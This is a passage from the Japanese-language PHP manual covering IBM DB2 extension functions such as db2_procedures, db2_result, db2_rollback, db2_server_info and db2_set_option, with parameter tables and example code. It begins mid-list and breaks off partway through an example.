  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


ストアドプロシージャのパラメータを含む結果セットを返す

  • ≪ db2_primary_keys
  • db2_procedures ≫
  • PHP Manual
  • IBM DB2 関数
  • ストアドプロシージャのパラメータを含む結果セットを返す

db2_procedure_columns

(PECL ibm_db2 >= 1.0.0)

db2_procedure_columns — ストアドプロシージャのパラメータを含む結果セットを返す

説明

db2_procedure_columns ( resource $connection , string $qualifier , string $schema , string $procedure , string $parameter ) : resource

ストアドプロシージャのパラメータを含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

プロシージャを含むスキーマ。このパラメータでは、ワイルドカードとして _ および % を含む検索パターンを使用可能です。

procedure

プロシージャの名前。このパラメータでは、ワイルドカードとして _ および % を含む検索パターンを使用可能です。

parameter

パラメータの名前。このパラメータでは、ワイルドカードとして _ および % を含む検索パターンを使用可能です。 このパラメータが null の場合、指定したストアドプロシージャの すべてのパラメータが返されます。

返り値

指定したパラメータに一致するストアドプロシージャのパラメータ情報を含む結果セットの ステートメントリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
PROCEDURE_CAT | プロシージャを含むカタログ。テーブルがカタログを保持していない場合は null。
PROCEDURE_SCHEM | ストアドプロシージャを含むスキーマの名前。
PROCEDURE_NAME | プロシージャの名前。
COLUMN_NAME | パラメータの名前。
COLUMN_TYPE

パラメータの型を表す整数値。

返される値 | パラメータの型
1 (SQL_PARAM_INPUT) | 入力 (IN) パラメータ。
2 (SQL_PARAM_INPUT_OUTPUT) | 入力/出力 (INOUT) パラメータ。
3 (SQL_PARAM_OUTPUT) | 出力 (OUT) パラメータ。
DATA_TYPE | パラメータの SQL データ型を表す整数値。
TYPE_NAME | パラメータのデータ型を表す文字列。
COLUMN_SIZE | パラメータのサイズを表す整数値。
BUFFER_LENGTH | このパラメータのデータを保存するために必要な最大バイト数。
DECIMAL_DIGITS | パラメータの位取り。位取りが適用できない場合は null。
NUM_PREC_RADIX | 10 (正確な数値データ型を表す)、 2 (概数データ型を表す)、 あるいは null (基数が適用できないデータ型を表す) のいずれか。
NULLABLE | パラメータが null 値をとることができるかどうかを表す整数値。
REMARKS | パラメータの説明。
COLUMN_DEF | パラメータのデフォルト値。
SQL_DATA_TYPE | パラメータのサイズを表す整数値。
SQL_DATETIME_SUB | datetime 型のコードを表す整数値、 あるいはこれが適用できない SQL データ型である場合に null。
CHAR_OCTET_LENGTH | 文字型のパラメータにおける最大のオクテット数。 シングルバイト文字セットのデータの場合、これは COLUMN_SIZE に一致します。文字型でないカラムの場合は null となります。
ORDINAL_POSITION | CALL 文の中でのパラメータの位置を表す、1 から始まるインデックス。
IS_NULLABLE | パラメータが null 値をとることができるかどうかを表す文字列。 'YES' の場合は null 値をとることができ、 'NO' の場合はできません。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す

  • ≪ db2_procedure_columns
  • db2_result ≫
  • PHP Manual
  • IBM DB2 関数
  • データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す

db2_procedures

(PECL ibm_db2 >= 1.0.0)

db2_procedures — データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す

説明

db2_procedures ( resource $connection , string $qualifier , string $schema , string $procedure ) : resource

データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

プロシージャを含むスキーマ。このパラメータでは、ワイルドカードとして _ および % を含む検索パターンを使用可能です。

procedure

プロシージャの名前。このパラメータでは、ワイルドカードとして _ および % を含む検索パターンを使用可能です。

返り値

指定したパラメータに一致するストアドプロシージャの情報を含む結果セットの ステートメントリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
PROCEDURE_CAT | プロシージャを含むカタログ。テーブルがカタログを保持していない場合は null。
PROCEDURE_SCHEM | ストアドプロシージャを含むスキーマの名前。
PROCEDURE_NAME | プロシージャの名前。
NUM_INPUT_PARAMS | ストアドプロシージャの入力 (IN) パラメータの数。
NUM_OUTPUT_PARAMS | ストアドプロシージャの出力 (OUT) パラメータの数。
NUM_RESULT_SETS | ストアドプロシージャが返す結果セットの数。
REMARKS | ストアドプロシージャのコメント。
PROCEDURE_TYPE | 常に 1 を返します。これは、 ストアドプロシージャが返り値を返さないことを意味します。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


結果セットの行からひとつのカラムを返す

  • ≪ db2_procedures
  • db2_rollback ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セットの行からひとつのカラムを返す

db2_result

(PECL ibm_db2 >= 1.0.0)

db2_result — 結果セットの行からひとつのカラムを返す

説明

db2_result ( resource $stmt , mixed $column ) : mixed

db2_result() を使用して、 結果セットの現在の行から指定したカラムの値を取得します。 結果セットポインタの位置を指定するため、db2_result() のコール前には db2_fetch_row() をコールする必要があります。

パラメータ

stmt

有効な stmt リソース。

column

結果セット内のカラムの位置を表す 0 から始まるインデックス、 あるいはカラム名を表す文字列。

返り値

指定したフィールドが結果セットに存在する場合にそのフィールドの値を返します。 フィールドが存在しない場合には NULL を返し、警告を発生させます。

例

例1 db2_result() の例

以下の例では、db2_fetch_row() で結果セットを 順に処理し、db2_result() で結果セットから カラムを取得する方法を説明します。

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 'BREED');
    print "$name $breed";
}
?>

上の例の出力は以下となります。

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

参考

  • db2_fetch_array() - 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
  • db2_fetch_assoc() - 結果セット内の行を表す、カラム名をインデックスとする配列を返す
  • db2_fetch_both() - 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
  • db2_fetch_object() - 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す
  • db2_fetch_row() - 結果セットポインタを次の行あるいは要求された行に設定する

User Contributed Notes

jay+nospam at toxicedge dot com 05-Dec-2014 09:30
It's worth noting that this function consumes the value (the first call will return a result, and any subsequent calls will return NULL).


トランザクションをロールバックする

  • ≪ db2_result
  • db2_server_info ≫
  • PHP Manual
  • IBM DB2 関数
  • トランザクションをロールバックする

db2_rollback

(PECL ibm_db2 >= 1.0.0)

db2_rollback — トランザクションをロールバックする

説明

db2_rollback ( resource $connection ) : bool

指定した接続リソース上で実行中のトランザクションをロールバックし、 新しいトランザクションを開始します。PHP アプリケーションのデフォルトは AUTOCOMMIT モードなので、接続リソースに対して AUTOCOMMIT を無効にしていない限り db2_rollback() は何の意味もありません。

パラメータ

connection

db2_connect() あるいは db2_pconnect() が返した有効なデータベース接続リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 DELETE 文のロールバック

以下の例では、テーブルの行数を数えた後にデータベース接続の AUTOCOMMIT を無効にし、テーブルのすべての行を削除した上で、 行数が 0 となっていることを確認します。 それから、db2_rollback() を発行して再度行数を取得し、 DELETE 文の発行前の状態に戻っていることを確認します。 これにより、トランザクションのロールバックが正常に行われたことを示します。

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // AUTOCOMMIT を無効にします
    db2_autocommit($conn, DB2_AUTOCOMMIT_OFF);

    // ANIMALS のすべての行を削除します
    db2_exec($conn, "DELETE FROM animals");

    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // DELETE 文をロールバックします
    db2_rollback( $conn );

    $stmt = db2_exec( $conn, "SELECT count(*) FROM animals" );
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";
    db2_close($conn);
}
?>

上の例の出力は以下となります。

7
0
7

参考

  • db2_autocommit() - データベース接続の AUTOCOMMIT の状態を取得または設定する
  • db2_commit() - トランザクションをコミットする

User Contributed Notes

There are no user contributed notes for this page.


DB2 データベースサーバーの情報をプロパティに保持するオブジェクトを返す

  • ≪ db2_rollback
  • db2_set_option ≫
  • PHP Manual
  • IBM DB2 関数
  • DB2 データベースサーバーの情報をプロパティに保持するオブジェクトを返す

db2_server_info

(PECL ibm_db2 >= 1.1.1)

db2_server_info — DB2 データベースサーバーの情報をプロパティに保持するオブジェクトを返す

説明

db2_server_info ( resource $connection ) : object

この関数は、IBM DB2、Cloudscape あるいは Apache Derby データベースサーバーについての情報を 読み取り専用のプロパティに保持するオブジェクトを返します。 以下の表は、データベースサーバーのプロパティの一覧です。

データベースサーバーのプロパティ
プロパティ名 | 返り値の型 | 説明
DBMS_NAME | string | 接続中のデータベースサーバーの名前。DB2 サーバーの場合は、 DB2 の後にサーバーが稼動している OS の名前が続きます。
DBMS_VER | string | データベースサーバーのバージョン。"MM.mm.uuuu" という形式の文字列で、 MM がメジャーバージョン、 mm がマイナーバージョン、 そして uuuu がアップデートを表します。 例えば "08.02.0001" は メジャーバージョン 8、マイナーバージョン 2、アップデート 1 を表します。
DB_CODEPAGE | int | 接続中のデータベースのコードページ。
DB_NAME | string | 接続中のデータベースの名前。
DFT_ISOLATION string サーバーがサポートしているデフォルトのトランザクション分離レベル。
UR

非コミット読み取り: 変更内容は、他のトランザクションからも すぐに見えるようになります。

CS

カーソル固定: あるトランザクションで読み込まれた行を、 別のトランザクションから変更してコミットすることができます。

RS

読み取り固定: 検索条件あるいは実行中のトランザクションに 一致する行を、トランザクションから追加したり削除したりできます。

RR

反復可能読み取り: 実行中のトランザクションに影響を受けるデータは、 他のトランザクションからは見えません。

NC

コミット不可: 変更内容は、操作が終了した時点で見えるようになります。 明示的なコミットやロールバックはできません。

IDENTIFIER_QUOTE_CHAR | string | 識別子を区切るための文字。
INST_NAME | string | データベースを含むデータベースサーバーのインスタンス名。
ISOLATION_OPTION | array | データベースサーバーがサポートする分離オプション。 分離オプションについては DFT_ISOLATION プロパティの説明を参照ください。
KEYWORDS | array | データベースサーバーの予約語の配列。
LIKE_ESCAPE_CLAUSE | bool | データベースサーバーがワイルドカード文字 % および _ の使用をサポートしている場合に true、 これらのワイルドカードをサポートしていない場合に false。
MAX_COL_NAME_LEN | int | データベースサーバーがサポートするカラム名の最大バイト数。
MAX_IDENTIFIER_LEN | int | データベースサーバーがサポートする SQL 識別子の最大文字数。
MAX_INDEX_SIZE | int | データベースサーバーがサポートするインデックスつきカラムの最大バイト数。
MAX_PROC_NAME_LEN | int | データベースサーバーがサポートするプロシージャ名の最大バイト数。
MAX_ROW_SIZE | int | データベースサーバーがサポートするベーステーブルの行の最大バイト数。
MAX_SCHEMA_NAME_LEN | int | データベースサーバーがサポートするスキーマ名の最大バイト数。
MAX_STATEMENT_LEN | int | データベースサーバーがサポートする SQL 文の最大バイト数。
MAX_TABLE_NAME_LEN | int | データベースサーバーがサポートするテーブル名の最大バイト数。
NON_NULLABLE_COLUMNS | bool | データベースサーバーがカラムの NOT NULL 定義をサポートしている場合に true、サポートしていない場合に false。
PROCEDURES | bool | データベースサーバーがストアドプロシージャをコールするための CALL 文をサポートしている場合に true、サポートしていない場合に false。
SPECIAL_CHARS | string | 識別子として使用可能な文字のうち、 a-Z、0-9 およびアンダースコア以外の文字。
SQL_CONFORMANCE string データベースサーバーの ANSI/ISO SQL-92 仕様への対応レベル。
ENTRY

SQL-92 エントリレベルに準拠しています。

FIPS127

FIPS-127-2 transitional に準拠しています。

FULL

SQL-92 完全レベルに準拠しています。

INTERMEDIATE

SQL-92 中間レベルに準拠しています。

パラメータ

connection

アクティブな DB2 クライアント接続を指定します。

返り値

成功した場合にオブジェクト、失敗した場合に false を返します。

例

例1 db2_server_info() の例

サーバーの情報を取得するには、有効なデータベース接続リソースを db2_server_info() に渡す必要があります。

<?php

$conn = db2_connect('sample', 'db2inst1', 'ibmdb2');

$server = db2_server_info( $conn );

if ($server) {
    echo "DBMS_NAME: ";                 var_dump( $server->DBMS_NAME );
    echo "DBMS_VER: ";                  var_dump( $server->DBMS_VER );
    echo "DB_CODEPAGE: ";               var_dump( $server->DB_CODEPAGE );
    echo "DB_NAME: ";                   var_dump( $server->DB_NAME );
    echo "INST_NAME: ";                 var_dump( $server->INST_NAME );
    echo "SPECIAL_CHARS: ";             var_dump( $server->SPECIAL_CHARS );
    echo "KEYWORDS: ";                  var_dump( sizeof($server->KEYWORDS) );
    echo "DFT_ISOLATION: ";             var_dump( $server->DFT_ISOLATION );
    echo "ISOLATION_OPTION: ";
    $il = '';
    foreach( $server->ISOLATION_OPTION as $opt )
    {
       $il .= $opt." ";
    }
    var_dump( $il );
    echo "SQL_CONFORMANCE: ";           var_dump( $server->SQL_CONFORMANCE );
    echo "PROCEDURES: ";                var_dump( $server->PROCEDURES );
    echo "IDENTIFIER_QUOTE_CHAR: ";     var_dump( $server->IDENTIFIER_QUOTE_CHAR );
    echo "LIKE_ESCAPE_CLAUSE: ";        var_dump( $server->LIKE_ESCAPE_CLAUSE );
    echo "MAX_COL_NAME_LEN: ";          var_dump( $server->MAX_COL_NAME_LEN );
    echo "MAX_ROW_SIZE: ";              var_dump( $server->MAX_ROW_SIZE );
    echo "MAX_IDENTIFIER_LEN: ";        var_dump( $server->MAX_IDENTIFIER_LEN );
    echo "MAX_INDEX_SIZE: ";            var_dump( $server->MAX_INDEX_SIZE );
    echo "MAX_PROC_NAME_LEN: ";         var_dump( $server->MAX_PROC_NAME_LEN );
    echo "MAX_SCHEMA_NAME_LEN: ";       var_dump( $server->MAX_SCHEMA_NAME_LEN );
    echo "MAX_STATEMENT_LEN: ";         var_dump( $server->MAX_STATEMENT_LEN );
    echo "MAX_TABLE_NAME_LEN: ";        var_dump( $server->MAX_TABLE_NAME_LEN );
    echo "NON_NULLABLE_COLUMNS: ";      var_dump( $server->NON_NULLABLE_COLUMNS );

    db2_close($conn);
}
?>

上の例の出力は以下となります。

DBMS_NAME: string(9) "DB2/LINUX"
DBMS_VER: string(10) "08.02.0000"
DB_CODEPAGE: int(1208)
DB_NAME: string(6) "SAMPLE"
INST_NAME: string(8) "db2inst1"
SPECIAL_CHARS: string(2) "@#"
KEYWORDS: int(179)
DFT_ISOLATION: string(2) "CS"
ISOLATION_OPTION: string(12) "UR CS RS RR "
SQL_CONFORMANCE: string(7) "FIPS127"
PROCEDURES: bool(true)
IDENTIFIER_QUOTE_CHAR: string(1) """
LIKE_ESCAPE_CLAUSE: bool(true)
MAX_COL_NAME_LEN: int(30)
MAX_ROW_SIZE: int(32677)
MAX_IDENTIFIER_LEN: int(18)
MAX_INDEX_SIZE: int(1024)
MAX_PROC_NAME_LEN: int(128)
MAX_SCHEMA_NAME_LEN: int(30)
MAX_STATEMENT_LEN: int(2097152)
MAX_TABLE_NAME_LEN: int(128)
NON_NULLABLE_COLUMNS: bool(true)

参考

  • db2_client_info() - DB2 データベースクライアントの情報をプロパティに保持するオブジェクトを返す

User Contributed Notes

There are no user contributed notes for this page.


接続リソースあるいはステートメントリソースのオプションを設定する

  • ≪ db2_server_info
  • db2_special_columns ≫
  • PHP Manual
  • IBM DB2 関数
  • 接続リソースあるいはステートメントリソースのオプションを設定する

db2_set_option

(PECL ibm_db2 >= 1.0.0)

db2_set_option — 接続リソースあるいはステートメントリソースのオプションを設定する

説明

db2_set_option ( resource $resource , array $options , int $type ) : bool

ステートメントリソースあるいは接続リソースのオプションを設定します。 結果セットリソースのオプションを設定することはできません。

パラメータ

resource

db2_prepare() が返す有効なステートメントリソースか、
あるいは db2_connect() や
db2_pconnect() が返す有効な接続リソース。

options

ステートメントあるいは接続のオプションを含む連想配列。 このパラメータは、自動コミットの値を変更したりカーソルの型を (スクロール可能、あるいは前進のみに) 変更したり、結果セットに表示されるカラム名を (小文字、大文字、あるいは元のままに) 設定したりする際に使用します。

autocommit

DB2_AUTOCOMMIT_ON を渡すと、 指定した接続リソースの自動コミットをオンにします。

DB2_AUTOCOMMIT_OFF を渡すと、 指定した接続リソースの自動コミットをオフにします。

cursor

DB2_FORWARD_ONLY を渡すと、 ステートメントリソースに前進のみのカーソルを指定します。 これはデフォルトのカーソル型であり、 すべてのデータベースサーバーでサポートされています。

DB2_SCROLLABLE を渡すと、 ステートメントリソースにスクロール可能なカーソルを指定します。 このカーソルは、順番どおり以外の方法で結果セットの行にアクセス可能です。 しかし、IBM DB2 Universal Database でしかサポートされていません。

binmode

DB2_BINARY を渡すと、 バイナリデータがそのままの形式で返されるようになります。 これはデフォルトのモードです。php.ini で ibm_db2.binmode=1 とするのと同じことです。

DB2_CONVERT を渡すと、 バイナリデータを十六進エンコーディングで変換して返します。 これは、php.ini で ibm_db2.binmode=2 とするのと同じことです。

DB2_PASSTHRU を渡すと、 バイナリデータを null に変換するようになります。これは php.ini で ibm_db2.binmode=3 とするのと同じことです。

db2_attr_case

DB2_CASE_LOWER を渡すと、 結果セットのカラム名を小文字で返します。

DB2_CASE_UPPER を渡すと、 結果セットのカラム名を大文字で返します。

DB2_CASE_NATURAL を渡すと、 結果セットのカラム名をそのまま何もせずに返します。

deferred_prepare

DB2_DEFERRED_PREPARE_ON を渡すと、 指定したステートメントリソースについて遅延プリペアを有効にします。

DB2_DEFERRED_PREPARE_OFF を渡すと、 指定したステートメントリソースについて遅延プリペアを無効にします。

以下の新しい i5/OS オプションは、ibm_db2 のバージョン 1.5.1 以降で使用可能です。 これらのオプションが適用されるのは、PHP と ibm_db2 が i5 システム上でネイティブに動作している場合のみです。

i5_fetch_only

DB2_I5_FETCH_ON - カーソルは読み込み専用となり、場所を指定しての更新や削除には使用できません。 これは、SQL_ATTR_FOR_FETCH_ONLY が SQL_FALSE に設定されていない場合のデフォルト設定です。

DB2_I5_FETCH_OFF - カーソルは、場所を指定しての更新や削除に使用できるようになります。

以下の新しいオプションが、ibm_db2 バージョン 1.8.0 以降で使用可能です。

rowcount

DB2_ROWCOUNT_PREFETCH_ON - クライアントは、取得する前に全行数を問い合わせることができます。つまり、 ROLLFORWARD_ONLY カーソルを使っている場合でも 選択された行数を db2_num_rows() で取得することができます。

DB2_ROWCOUNT_PREFETCH_OFF - クライアントは、取得する前に全行数を問い合わせることができません。

以下の新しいオプションが、ibm_db2 バージョン 1.7.0 以降で使用可能です。

trusted_user

ユーザーを信頼済みユーザーに変更する際に、信頼済みユーザーのユーザー ID (文字列) をこのキーの値として渡します。 このオプションは、接続リソース上でのみ設定可能です。 このオプションを使用するには、 信頼済みコンテキストを接続リソース上で有効にしなければなりません。

trusted_password

trusted_user キーで指定したユーザーに対応するパスワード (文字列)。

以下の新しいオプションが、ibm_db2 バージョン 1.6.0 以降で使用可能です。 これらは、有用な情報を提供します。これらの情報は、 db2_get_option() によって取得します。

注意:

各オプションの値を設定する際、 サーバーによっては指定したすべての内容を処理できないことがあります。 その場合、値が切り詰められます。

指定したオプションが正しく変換されてホストシステムに送信されることを確実にするには、 A から Z までの文字と 0 から 9 までの数字、そしてアンダースコア (_) とピリオド (.) のみを使用するようにします。

userid

SQL_ATTR_INFO_USERID - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのユーザー ID として使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 16 文字までの長さをサポートしています。 このユーザー ID を、認証時に使用するユーザー ID と混同しないでください。 これは識別のためだけに使用するものであり、認証には用いられません。

acctstr

SQL_ATTR_INFO_ACCTSTR - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのアカウンティング・ストリングとして使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 200 文字までの長さをサポートしています。

applname

SQL_ATTR_INFO_APPLNAME - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのアプリケーション名として使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 32 文字までの長さをサポートしています。

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのワークステーション名として使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 18 文字までの長さをサポートしています。

type

この関数に渡すリソースの型を、整数値で指定します。 リソースの型とこの値は必ず一致していなければなりません。

1 は、 接続リソースがこの関数に渡されることを表します。

1 以外の整数を指定すると、 ステートメントリソースがこの関数に渡されることを表します。

次の表は、それぞれのオプションがどのリソース型で使用可能かをまとめたものです。

リソースとパラメータの対応
キー | 値 | リソースの型
 |  | 接続 | ステートメント | 結果セット
autocommit | DB2_AUTOCOMMIT_ON | X | - | -
autocommit | DB2_AUTOCOMMIT_OFF | X | - | -
cursor | DB2_SCROLLABLE | - | X | -
cursor | DB2_FORWARD_ONLY | - | X | -
binmode | DB2_BINARY | X | X | -
binmode | DB2_CONVERT | X | X | -
binmode | DB2_PASSTHRU | X | X | -
db2_attr_case | DB2_CASE_LOWER | X | X | -
db2_attr_case | DB2_CASE_UPPER | X | X | -
db2_attr_case | DB2_CASE_NATURAL | X | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_ON | - | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_OFF | - | X | -
i5_fetch_only | DB2_I5_FETCH_ON | - | X | -
i5_fetch_only | DB2_I5_FETCH_OFF | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_ON | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_OFF | - | X | -
trusted_user | <USER NAME> (文字列) | X | - | -
trusted_password | <PASSWORD> (文字列) | X | - | -
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 接続リソースにひとつのパラメータを設定する

<?php
/* データベース接続用のパラメータ */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続文字列 */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* 接続リソースを取得します */
$conn = db2_connect($conn_string, '', '');

/* 有効なキーと値を使用して、オプションの連想配列を作成します */
$options = array('autocommit' => DB2_AUTOCOMMIT_ON);

/* 正しいリソースとオプションの配列、そして型を表す値を指定して関数をコールします */
$result = db2_set_option($conn, $options, 1);

/* すべてのオプションが正しく設定できたかどうかを調べます */
if($result)
{
  echo 'オプションの設定に成功しました';
}
else
{
  echo 'オプションが設定できませんでした';
}
?>

上の例の出力は以下となります。

オプションの設定に成功しました

例2 接続リソースに複数のパラメータを設定する

<?php
/* データベース接続用のパラメータ */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続文字列 */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* 接続リソースを取得します */
$conn = db2_connect($conn_string, '', '');

/* 有効なキーと値を使用して、オプションの連想配列を作成します */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* 正しいリソースとオプションの配列、そして型を表す値を指定して関数をコールします */
$result = db2_set_option($conn, $options, 1);

/* すべてのオプションが正しく設定できたかどうかを調べます */
if($result)
{
  echo 'オプションの設定に成功しました';
}
else
{
  echo 'オプションが設定できませんでした';
}
?>

上の例の出力は以下となります。

オプションの設定に成功しました

例3 複数のパラメータを間違ったキーで設定する

<?php
/* データベース接続用のパラメータ */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続文字列 */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* 接続リソースを取得します */
$conn = db2_connect($conn_string, '', '');

/* 有効なキーと値を使用して、オプションの連想配列を作成します */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
             'MY_INVALID_KEY' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* 正しいリソースとオプションの配列、そして型を表す値を指定して関数をコールします */
$result = db2_set_option($conn, $options, 1);

/* すべてのオプションが正しく設定できたかどうかを調べます */
if($result)
{
  echo 'オプションの設定に成功しました';
}
else
{
  echo 'オプションが設定できませんでした';
}
?>

上の例の出力は以下となります。

オプションが設定できませんでした

例4 複数のパラメータを間違った値で設定する

<?php
/* データベース接続用のパラメータ */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続文字列 */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* 接続リソースを取得します */
$conn = db2_connect($conn_string, '', '');

/* 有効なキーと値を使用して、オプションの連想配列を作成します */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => 'INVALID_VALUE',
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* 正しいリソースとオプションの配列、そして型を表す値を指定して関数をコールします */
$result = db2_set_option($conn, $options, 1);

/* すべてのオプションが正しく設定できたかどうかを調べます */
if($result)
{
  echo 'オプションの設定に成功しました';
}
else
{
  echo 'オプションが設定できませんでした';
}
?>

上の例の出力は以下となります。

オプションが設定できませんでした

例5 複数のパラメータを接続リソースに設定する (間違った型を指定する)

<?php
/* データベース接続用のパラメータ */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続文字列 */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* 接続リソースを取得します */
$conn = db2_connect($conn_string, '', '');

/* 有効なキーと値を使用して、オプションの連想配列を作成します */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* 正しいリソースとオプションの配列、そして間違った型を表す値を指定して関数をコールします */
$result = db2_set_option($conn, $options, 2);

/* すべてのオプションが正しく設定できたかどうかを調べます */
if($result)
{
  echo 'オプションの設定に成功しました';
}
else
{
  echo 'オプションが設定できませんでした';
}
?>

上の例の出力は以下となります。

オプションが設定できませんでした

例6 複数のパラメータを間違ったリソースに設定する

<?php
/* データベース接続用のパラメータ */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続文字列 */
